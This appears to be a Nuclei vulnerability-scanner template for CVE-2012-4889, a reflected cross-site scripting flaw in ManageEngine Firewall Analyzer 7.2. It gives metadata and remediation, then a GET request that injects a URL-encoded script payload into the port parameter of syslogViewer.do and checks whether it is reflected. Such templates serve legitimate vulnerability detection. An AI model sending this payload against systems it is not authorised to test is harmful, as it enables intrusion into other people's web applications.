id: CVE-2012-4889

info:
  name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4889
    - http://packetstormsecurity.org/files/111474/VL-437.txt
    - http://www.vulnerability-lab.com/get_content.php?id=437
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74538
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4889
    cwe-id: CWE-79
    epss-score: 0.07718
    epss-percentile: 0.94015
    cpe: cpe:2.3:a:manageengine:firewall_analyzer:7.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: manageengine
    product: firewall_analyzer
  tags: cve,cve2012,xss,manageengine,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206ea1c570a4b8dd946e009d3191997b745d3af66e8300b0bd09bb2323c1c50ae00221009c06fa0df13acf2be00ca6716c6e516c71b450e246bdd28f329d5e3ab4a928a3:922c64590222798bb761d5b6d8e72950